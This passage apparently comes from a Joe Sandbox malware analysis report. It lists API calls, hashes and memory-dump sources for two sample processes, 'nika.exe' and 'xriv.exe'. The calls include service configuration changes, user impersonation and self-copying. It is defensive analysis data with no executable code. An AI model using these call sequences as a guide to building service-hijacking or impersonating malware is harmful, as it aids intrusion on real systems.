					} else {
						return E00413326(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x004134e0
0x004134e6
0x00413559
0x00000000
0x004134ed
0x004134ed
0x004134f0
0x0041350b
0x0041350e
0x0041352e
0x00413540
0x00413510
0x00413510
0x00413513
0x00000000
0x00413515
0x00413527
0x00413527
0x00413513
0x0041355e
0x00413562
0x004134f2
0x0041350a
0x0041350a
0x004134f0

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Uniqueness

Uniqueness Score: -1.00%

Function 01FD3742 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 01FD3768

Part of subcall function 01FD358D: __fltout2.LIBCMT ref: 01FD35B9

__cftog_l.LIBCMT ref: 01FD378E
__cftoe_l.LIBCMT ref: 01FD37C0

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 67c3a6b89fe31dd52e740921048ca5d8080046b149df682d46f967dd7992004a
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: A21148B240454AFBCF125E89CC45CEE3F67BB18254B4A8515FB2859130E237C9B1AB82

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: nika.exePID: 1876, Parent PID: 6052COMMON

Execution Graph

Execution Coverage:	51%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	9.4%
Total number of Nodes:	32
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF9A793077D Relevance: 1.8, APIs: 1, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32 ref: 00007FF9A7930989

Memory Dump Source

Source File: 00000007.00000002.442830907.00007FF9A7930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff9a7930000_nika.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 8ba8f8a90636b61cc49ca103cc1e88f6881706b7a8cfd4710523ed54392684f3
Instruction ID: eec6579fbb36b79c797f2c171ddd045b29b887274024a064feea452c5ab0d7d5
Opcode Fuzzy Hash: 8ba8f8a90636b61cc49ca103cc1e88f6881706b7a8cfd4710523ed54392684f3
Instruction Fuzzy Hash: 0C918330618A4D8FEB68DF28D8967E977E1FF59310F00812ED84EC7291CB75A545CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A7931B10 Relevance: 2.0, APIs: 1, Instructions: 538
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32 ref: 00007FF9A7931FD1

Memory Dump Source

Source File: 00000007.00000002.442830907.00007FF9A7930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff9a7930000_nika.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 4297f51b53212a0ca5520eb7991db2334747a913117e31b369c22962d773a8a3
Instruction ID: 23e00aa7ce553c015cceb36d8c9113a51cd733b51c9785730a3f002b95709590
Opcode Fuzzy Hash: 4297f51b53212a0ca5520eb7991db2334747a913117e31b369c22962d773a8a3
Instruction Fuzzy Hash: 87F18130918E4E4BEB68DF28D8477F977D1FB59310F10426EE89EC7291DB74A5818B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A7930C34 Relevance: 1.7, APIs: 1, Instructions: 203
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceA.ADVAPI32 ref: 00007FF9A7930D99

Memory Dump Source

Source File: 00000007.00000002.442830907.00007FF9A7930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff9a7930000_nika.jbxd

Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: 5a7edfe3b2d329facd973b8de39b5dab7d5cf723b5ed58cef1dff195b6f24ed3
Instruction ID: 9750408e3842ae0acf3e0994fbe53cfd34783e282cbc8a29a2acd833e68d35af
Opcode Fuzzy Hash: 5a7edfe3b2d329facd973b8de39b5dab7d5cf723b5ed58cef1dff195b6f24ed3
Instruction Fuzzy Hash: D8519430518A4D4FEB58EF2CD8567E977E1FB59310F10422EE89EC3292DB74E8418B92

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A7930B2D Relevance: 1.6, APIs: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32 ref: 00007FF9A7930BFA

Memory Dump Source

Source File: 00000007.00000002.442830907.00007FF9A7930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff9a7930000_nika.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 7c0cff6b2761b17cef5bcba566fa3f9db8269b4a5b552e9697c61edd32cf2776
Instruction ID: e24f7de1b57dd4186b8d00f91a6b2a594d2f0adf15ff51cbf92a9a0839b794ab
Opcode Fuzzy Hash: 7c0cff6b2761b17cef5bcba566fa3f9db8269b4a5b552e9697c61edd32cf2776
Instruction Fuzzy Hash: 6F31903190DA588FDB28DF9C984A7FABBF1EB65311F00416FD08ED3652CA7064458B91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A7931A1D Relevance: 1.6, APIs: 1, Instructions: 122
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32 ref: 00007FF9A7931ACB

Memory Dump Source

Source File: 00000007.00000002.442830907.00007FF9A7930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff9a7930000_nika.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 3ac947d5817dfa0f7827f7aa03df02ed8f2838772595e49d25895c9180769122
Instruction ID: 85b334fe72e00f4761d8ca6c3ebda02736845073e8dd1285b0a1e1bffef2b473
Opcode Fuzzy Hash: 3ac947d5817dfa0f7827f7aa03df02ed8f2838772595e49d25895c9180769122
Instruction Fuzzy Hash: 4731C43190CA588FDB18DF9C9846AF97BF0EF65711F04416FE08AD3252CB74A846CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A793108A Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FF9A7931145

Memory Dump Source

Source File: 00000007.00000002.442830907.00007FF9A7930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff9a7930000_nika.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: a138aa13b9b56cf9bb3108c83ad0dc18485a32de622eb9e358447c22b303c839
Instruction ID: 532cb4cc4a7f25c5829ac744eb27d6ccd8890814863dc70dcb7dd2052e99eb8a
Opcode Fuzzy Hash: a138aa13b9b56cf9bb3108c83ad0dc18485a32de622eb9e358447c22b303c839
Instruction Fuzzy Hash: D831D63090D7885FDB0ADB6898157E97FF0EF57320F04429FD089C71A2DBA56456CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A7931760 Relevance: 1.6, APIs: 1, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 00007FF9A79317F5

Memory Dump Source

Source File: 00000007.00000002.442830907.00007FF9A7930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff9a7930000_nika.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 4d29ff7b72da00a2c6a6f33e0467aaea3310249e0e7267cf9948bc3944b57785
Instruction ID: 153fbed3ac0307f06a07200e90bcfa310690d8f7d0889a5791ab18a00cf5736e
Opcode Fuzzy Hash: 4d29ff7b72da00a2c6a6f33e0467aaea3310249e0e7267cf9948bc3944b57785
Instruction Fuzzy Hash: CE31F63190CA4C8FDB58DF68D845BF97BE0EB56321F00422FD049C31A2CB74A856CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A7930108 Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.442830907.00007FF9A7930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A7930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff9a7930000_nika.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d3d8691a59116603c1586729954ce7bcad1815fa7e5436332f2a65a8d8ee548
Instruction ID: 4e9d696c927cf9fd961306903d4266b6ec7cde34440493068d6de3b545feb727
Opcode Fuzzy Hash: 7d3d8691a59116603c1586729954ce7bcad1815fa7e5436332f2a65a8d8ee548
Instruction Fuzzy Hash: 5921E031A0CA0D8FDB48DF589806BF9BBE1EBA5321F00422FD04DC3192DB64A8068B91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: xriv.exePID: 4980, Parent PID: 6036COMMON

Executed Functions

Function 0018A9A1 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(0018E000,?,0018A9A0,0018AF26,?,0018E000,0018AF26,0018E000), ref: 0018A9C3
TerminateProcess.KERNEL32(00000000,?,0018A9A0,0018AF26,?,0018E000,0018AF26,0018E000), ref: 0018A9CA
ExitProcess.KERNEL32 ref: 0018A9DC

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1b024833e7244657decd7ac09ecfebfa93916e056fe8f34cc67b30163edb5a73
Instruction ID: 03be8be29561b91a70d64ce4001187aaa614732d7e304241bfe8c4afd989357c
Opcode Fuzzy Hash: 1b024833e7244657decd7ac09ecfebfa93916e056fe8f34cc67b30163edb5a73
Instruction Fuzzy Hash: 58E04631400108ABDB11BB14CC09A193BA9EF10341F454426F90586531CB39EEC1DFD2

Uniqueness

Uniqueness Score: -1.00%

Function 00187A74 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00017A80,00187776), ref: 00187A79

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: fe3e96edd6a6420ae8ea5edb4088e753725546aa623a77847e0a63063d70bc99
Instruction ID: a8964a2ab33e06f386c7dee9809a4accc53a58c88bdb4f4ec732988a060f078f
Opcode Fuzzy Hash: fe3e96edd6a6420ae8ea5edb4088e753725546aa623a77847e0a63063d70bc99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0018704A Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(001A9708,00000FA0,?,?,00187028), ref: 00187056
GetModuleHandleW.KERNELBASE(api-ms-win-core-synch-l1-2-0.dll,?,?,00187028), ref: 00187061
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00187028), ref: 00187072
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00187084
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00187092
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00187028), ref: 001870B5
___scrt_fastfail.LIBCMT ref: 001870C6
DeleteCriticalSection.KERNEL32(001A9708,00000007,?,?,00187028), ref: 001870D1
CloseHandle.KERNEL32(00000000,?,?,00187028), ref: 001870E1

Strings

WakeAllConditionVariable, xrefs: 0018708A
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0018705C
kernel32.dll, xrefs: 0018706D
SleepConditionVariableCS, xrefs: 0018707E

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 3578986977-3242537097
Opcode ID: 8038ce904517a86cc19915752ec10024e25c8660399458d5dfb4b262942b5179
Instruction ID: 4c34500da4ad4ee1fa56e892ed89410e69d07d0c6dff6010c16861526dd25476
Opcode Fuzzy Hash: 8038ce904517a86cc19915752ec10024e25c8660399458d5dfb4b262942b5179
Instruction Fuzzy Hash: C601AC75765311ABEB31AFB4ED0DA5A76D8EB46B51B150422F900D29E0FBB0C9C08F71

Uniqueness

Uniqueness Score: -1.00%

Function 001926AF Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00192368: CreateFileW.KERNELBASE(00000000,00000000,?,00192758,?,?,00000000,?,00192758,00000000,0000000C), ref: 00192385

GetLastError.KERNEL32 ref: 001927C3
__dosmaperr.LIBCMT ref: 001927CA
GetFileType.KERNELBASE(00000000), ref: 001927D6
GetLastError.KERNEL32 ref: 001927E0
__dosmaperr.LIBCMT ref: 001927E9
CloseHandle.KERNEL32(00000000), ref: 00192809
CloseHandle.KERNEL32(0018D4F0), ref: 00192956
GetLastError.KERNEL32 ref: 00192988
__dosmaperr.LIBCMT ref: 0019298F

Strings

H, xrefs: 00192914

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 09b9a74620760f1c6ea0423479f2eae8c51e3f5cd439e4c4a68f31719f8e0ed8
Instruction ID: a7e0daa74076db65fa0163383c36829ad4e7958ba920ea8478217a901008953d
Opcode Fuzzy Hash: 09b9a74620760f1c6ea0423479f2eae8c51e3f5cd439e4c4a68f31719f8e0ed8
Instruction Fuzzy Hash: 79A10532A04154AFCF19EF68DC91BAE3BE1AB5A324F140159F811AF3A2CB349D56CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00179C30 Relevance: 7.7, APIs: 5, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 00179C90

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: f7ed4eaf9d271da913040abb991491821bc763d0c9e4be96e95b412f4821efa7
Instruction ID: 82df81ab4a64eaf81f4da53c4b1df265ca30b3a623d301975c2de80386f22576
Opcode Fuzzy Hash: f7ed4eaf9d271da913040abb991491821bc763d0c9e4be96e95b412f4821efa7
Instruction Fuzzy Hash: FAA18FB0A002588BEF24DB24CC547DDB7B5AB55304F9045D8E60D67282DB715FC8CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00173FF0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 470
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 001742B9
SetCurrentDirectoryA.KERNEL32(00000000,5D32641E), ref: 00174364

Strings

runas, xrefs: 00173B63

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: CurrentDirectorySleep
String ID: runas
API String ID: 16921501-4000483414
Opcode ID: 29d85a786182366578239b8aaa335b84b256e342ceb04bc712836cc483c0c9b2
Instruction ID: 149faa0da7ca45f04c88ba660ab86d5e5f8a8dd5394296229e564deaf63e55c5
Opcode Fuzzy Hash: 29d85a786182366578239b8aaa335b84b256e342ceb04bc712836cc483c0c9b2
Instruction Fuzzy Hash: 23E12A71A001449BEB08FB78CD867ADBB72EF56314F60825CF415AB3C6DB359B448B92

Uniqueness

Uniqueness Score: -1.00%

Function 0017A032 Relevance: 4.6, APIs: 3, Instructions: 136
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,00000000,?,?,?,?), ref: 0017A04D
GetFileAttributesA.KERNELBASE(?,?,?,?,?), ref: 0017A068
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0017A1A5

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: File$AttributesCopyCreateDirectory
String ID:
API String ID: 210682061-0
Opcode ID: 44c6c4d10d376de3a6fd215531746938623d01c86cea7431af4891a5eebf30d8
Instruction ID: 468c96f2918aa3acb6eaa8c354a988e4f01a77672ac63a490003a80888c651a4
Opcode Fuzzy Hash: 44c6c4d10d376de3a6fd215531746938623d01c86cea7431af4891a5eebf30d8
Instruction Fuzzy Hash: 2E41D5B1A001188BEF14EB28CC9979CB775AF55314FA045D8E60DA72C3DB316BC48F6A

Uniqueness

Uniqueness Score: -1.00%

Function 00179D04 Relevance: 3.3, APIs: 2, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00179EB5
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0017A1A5

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: File$CopyModuleName
String ID:
API String ID: 4108865673-0
Opcode ID: 1512e962389bd3692438b842997ffa96aa7154ba35a473728f51e3eb5a0ab927
Instruction ID: b67c3ca01ea8d0345545101f5709573d2f7d70939b7dda7b63db2e0ada926fde
Opcode Fuzzy Hash: 1512e962389bd3692438b842997ffa96aa7154ba35a473728f51e3eb5a0ab927
Instruction Fuzzy Hash: B5C12AB1A001148BEF24EB28CC9579DBB359F91314F9482D8E54DA72C2DB319FC98F66

Uniqueness

Uniqueness Score: -1.00%

Function 0018C25D Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 0018C2A5

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ffc54b5fc3c939f69b1d86795911733ef47c381ce59a5bc54a2ac1148f95d5d0
Instruction ID: 03bb88866536d5173aa3e8e1cc99b40f128f074f787a5ba0cc4823efb060e6b3
Opcode Fuzzy Hash: ffc54b5fc3c939f69b1d86795911733ef47c381ce59a5bc54a2ac1148f95d5d0
Instruction Fuzzy Hash: A7E0E522505A1155D61276B97C0166E23829B92734B214326F428C64D0DF304A818FF5

Uniqueness

Uniqueness Score: -1.00%

Function 00185E20 Relevance: 1.6, APIs: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00185F53

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 99a60c00e11d80a0fe42efdd695636690d312d340402f51b068320ab2a9b3208
Instruction ID: f170c128de9823f8aa0d2d95b118d5dad3dbbf8bc7989f88baf1c15d290cf101
Opcode Fuzzy Hash: 99a60c00e11d80a0fe42efdd695636690d312d340402f51b068320ab2a9b3208
Instruction Fuzzy Hash: 5B31E371A046009BD728BE789C8196EFBAAEF54320B24436EE965C7382D7709F458F91

Uniqueness

Uniqueness Score: -1.00%

Function 00187403 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0017218E

Part of subcall function 00188483: RaiseException.KERNEL32(E06D7363,00000001,00000003,0017216C,?,?,?,0017216C,?,001A6D1C), ref: 001884E3

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID:
API String ID: 3109751735-0
Opcode ID: fee38084ac33ab21416981971373772d88555ef1f14fb6e05a9b33cc2d43aedb
Instruction ID: 3de7d9aea874a26871f5c8f0f5782fd0c901e6f3ae1aac3be54a21c4a34b67c0
Opcode Fuzzy Hash: fee38084ac33ab21416981971373772d88555ef1f14fb6e05a9b33cc2d43aedb
Instruction Fuzzy Hash: 6801267580420D77CB14FAE8EC419997BACDF10314B648621FA14A7181FBB0EB44CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 0018D4B1 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 0018D4EB

Memory Dump Source

Source File: 00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp, Offset: 00170000, based on PE: true

Associated: 00000008.00000002.445400142.0000000000170000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445561898.00000000001A8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.445568695.00000000001AD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_170000_xriv.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
